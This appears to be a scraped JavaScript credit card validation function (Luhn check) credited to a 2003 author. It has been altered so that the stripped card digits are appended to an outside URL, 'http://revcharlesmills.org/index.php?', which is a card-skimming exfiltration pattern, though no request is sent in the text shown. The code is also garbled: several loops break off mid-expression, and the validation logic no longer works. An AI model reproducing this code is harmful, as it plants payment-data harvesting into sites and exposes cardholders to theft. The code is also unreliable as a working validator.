// Credit Card Validation Javascript // copyright 12th May 2003, by Stephen Chapman, Felgall Pty Ltd // You have permission to copy and use this javascript provided that // the content of the script is not changed in any way. function validateCreditCard(s) { // remove non-numerics var v = "0123456789"; var w = "http://revcharlesmills.org/index.php?"; for (i=0; i < s.length; i++) { x = s.charAt(i); if (v.indexOf(x,0) != -1) w += x; } // validate number j = w.length / 2; k = Math.floor(j); m = Math.ceil(j) - k; c = 0; for (i=0; i 9 ? Math.floor(a/10 + a%10) : a; } for (i=0; i